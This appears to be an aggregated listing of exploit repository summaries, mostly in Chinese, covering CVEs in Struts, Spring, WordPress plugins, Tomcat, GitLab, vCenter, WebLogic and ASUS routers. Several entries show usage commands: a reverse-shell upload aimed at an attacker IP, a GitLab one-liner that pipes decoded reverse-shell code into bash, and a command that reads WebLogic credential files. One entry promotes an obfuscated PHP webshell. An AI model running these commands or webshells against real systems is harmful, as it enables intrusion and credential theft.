CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow exists in ASUS router modules , which allows an authenticated nearby user to execute arbitrary code . This vulnerability is triggered by uploading a crafted configuration file that exceeds the expected buffer size. For specific details on affected versions and remedi...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 发布时间 2017-03-07 危害级别 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影响产品 Apache struts =2.3.5，=2.5， CVE Identifier CVE-2017-5638 Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then use...

CVE-2019-12889

CVE-2019-12889 摘要 SailPoint Desktop Password Reset 7.2 存在一个未经身份验证的权限提升漏洞。仅具有本地访问 Windows 登录屏幕权限的用户可以将权限提升至 NT AUTHORITY\System。攻击者需要本地访问该机器才能成功利用此漏洞。攻击者必须将计算机从本地网络/广域网断开，并连接到一个可访问互联网的接入点/网络。此时，攻击者可以执行密码重置功能，这将弹出一个 Web 浏览器。浏览到调用本地 Windows 系统函数（例如文件上传）的网站将暴露本地文件系统。从那里，攻击者可以启动一个特权命令行 shell。 复现步骤： 1...

spring-core-rce

Spring Core RCE/CVE-2022-22965 影响范围：JDK=9 的spring框架及衍生框架 文章指路 脚本仅供学习使用，如作他用所承受的法律责任一概与作者无关 1.installation pip3 install -r requirements.txt 2.Usage $ python3 spring-core-rce.py -h .----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----. -| || \ || |--' | -'/ -. \ | | -' | .-...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 反向shell上传 基于h3v0x编写的exploit的WpDiscuz 7.0.4漏洞利用程序。 利用该漏洞并上传一个反向PHP shell。灵感来源于Blogger CTF。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用示例：...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vCenter 未授权RCE的metasploit利用脚本 准备工作 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

cve-2019-2618

cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 python CVE-2019-2618.py url username password 解密weblogic密码 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...

CVE-2024-0757-Exploit

CVE-2024-0757 漏洞利用 描述 WordPress 的 Insert or Embed Articulate Content into WordPress 插件在 4.3000000023 及之前的所有版本中，由于对 zip 压缩包中的文件上传处理不安全，因此存在任意文件上传漏洞。这使得未经验证的攻击者能够在受影响站点的服务器上上传包含 phar 文件的 zip 文件，从而有可能实现远程代码执行。 !IMPORTANT CVSS: 8.8（高危） CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 软件类型: 插件 软件标识:...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE 漏洞利用 此仓库包含针对 CVE-2025-24813 的完整概念验证 PoC 漏洞利用代码，该漏洞是 Apache Tomcat 中通过 HTTP PUT 方法部署恶意 JSP Web Shell 的远程代码执行 RCE 漏洞。 🔥 此漏洞利用示例展示了攻击者如何通过文件上传和有效载荷执行在未妥善保护的 Tomcat 实例中实现 RCE 。 📁 项目结构 CVE-2025-24813/ ├── docker/ │ ├── Dockerfile │ └── web.xml ├── exploit/ ...

wp-file-manager-CVE-2020-25213

WP-file-manager 漏洞利用 CVE-2020-25213 WP-file-manager WordPress 插件（6.9）存在未授权任意文件上传漏洞，可导致系统完全被控制。 更多详情请参阅我发布的博客文章，链接在此 免责声明 我并未发现此漏洞，也不对该 CVE 享有任何荣誉。我只是在分析了各博客（如 wordfence、seravo）中对该漏洞的描述后编写了该利用脚本，旨在帮助读者理解如何仅通过分析漏洞描述来编写 PoC。 对于使用此利用脚本对组织造成的任何损害，我不承担任何责任。我建议读者在未获得组织书面同意的情况下不要利用此漏洞，否则可能使该组织面临其他黑客的攻击风险...

CVE-2025-27590

CVE-2025-27590 - PoC 漏洞利用（通过多部分表单上传的命令注入） 📌 描述 这是一个针对 CVE-2025-27590 的概念验证（PoC）漏洞利用代码，该漏洞影响处理多部分文件上传时未进行适当清理的Web应用程序。该漏洞允许远程攻击者通过构造恶意的表单数据载荷来执行任意Shell命令。 🧠 漏洞摘要 类型 ：命令注入 攻击向量 ：HTTP multipart/form-data 受影响参数 ：cloginrc 和 file1 表单部分 影响 ：任意Shell命令执行，包括SSH密钥注入 🚀 使用方法 python3 exploitcve202527590.py -u ...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 任意文件上传 -purple 📌 描述 CSV Mass Importer 插件（≤ 1.2）存在一个 管理员+ 任意文件上传 漏洞。 由于对上传文件验证不当，高权限用户（如管理员）可以在服务器上上传任意文件 ，即使在应受限制的场景下（例如多站点设置）也不例外。 攻击者可利用此漏洞上传 PHP 木马或恶意文件，从而在服务器上实现远程代码执行（RCE） 。 由Nxploited（Khaled Alenazi） 发现。 🔥 详情 插件名称： CSV Mass Importer 受影响版本： ≤...

CVE-2022-29622

CVE-2022–29622: 不脆弱性分析 此代码库旨在帮助安全专业人员与开发者理解为何我认为 Formidable 并不受 CVE-2022-29622 漏洞影响。我在此处撰写了分析文章：CVE-2022–29622: 不脆弱性分析 由于部分读者未能理解，我决定通过实际、可运行的代码来阐明我的观点。 服务器端 服务器端实现在 index.mjs 中。它使用 Formidable 3.1.4 版本上传任意文件。 我按如下方式显式配置了 Formidable： uploadDir: './uploads/', keepExtensions: true, 这样所有文件都将上传至 uploa...

CVE-2024-53677

CVE-2024-53677 - Apache Struts 2 远程代码执行漏洞（RCE）复现环境 该仓库提供了一个基于容器的环境，用于复现 Apache Struts 2 中的 CVE-2024-53677 漏洞。该漏洞涉及路径遍历，并允许通过 Struts 2 的文件上传功能执行任意代码（RCE）。 设置说明 该环境可以使用 Podman 构建和运行。请按照以下步骤来设置应用程序： git clone https://github.com/seanrickerd/CVE-2024-53677.git cd CVE-2024-53677 podman build --ulimit...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 通过插件上传实现的认证 RCE（CVE-2025-50286） Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的远程代码执行（RCE）漏洞，允许已认证的管理员在服务器上执行任意 PHP 代码。 CVE 编号 CVE-2025-50286 概述 类型： 认证远程代码执行（RCE） 位置： /admin/tools/direct-install（管理面板 工具 直接安装） 影响： 任意 PHP...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab 预认证 RCE（CVE-2021-22205）的单行 Bash PoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2024-42640

CVE-2024-42640 Ejecución Remota de Código No Autenticada mediante la librería Angular-Base64-Upload CVE-2024-42640 Las versiones de Angular-base64-upload anteriores a v0.1.21 son vulnerables a la ejecución remota de código no autenticada a través del endpoint angular-base64-upload/demo/server.php...

rome-webshell

Rome WebShell 一个强大而令人愉悦的PHP WebShell 这是一个轻量级PHP webshell ，仅使用原生JavaScript和CSS， 没有jQuery/Bootstrap的臃肿 。 特性 完全交互式文件浏览器 ，浏览目录并即时下载文件 直接从浏览器上传文件 执行命令 ，无需对负载进行'URL编码' MD5密码保护 ，例如在King of The Hill期间限制访问很方便 完全CSS动画，响应式 且令人愉悦的FlatUI界面 易于自定义，使用CSS变量轻松应用你喜欢的颜色 已混淆，此仓库包含一个已经混淆的版本 使用方法 0...

CVE-2026-12793

CVE-2026-12793 — JetFormBuilder ≤ 3.6.2 Escalada de privilegios no autenticada → carga de plugin → RCE. Versiones afectadas Vulnerable: = 3.6.3 Uso rápido Check single target python poc.py -u https://target.example --mode check Full exploit requires an existing low-privilege account python poc.py...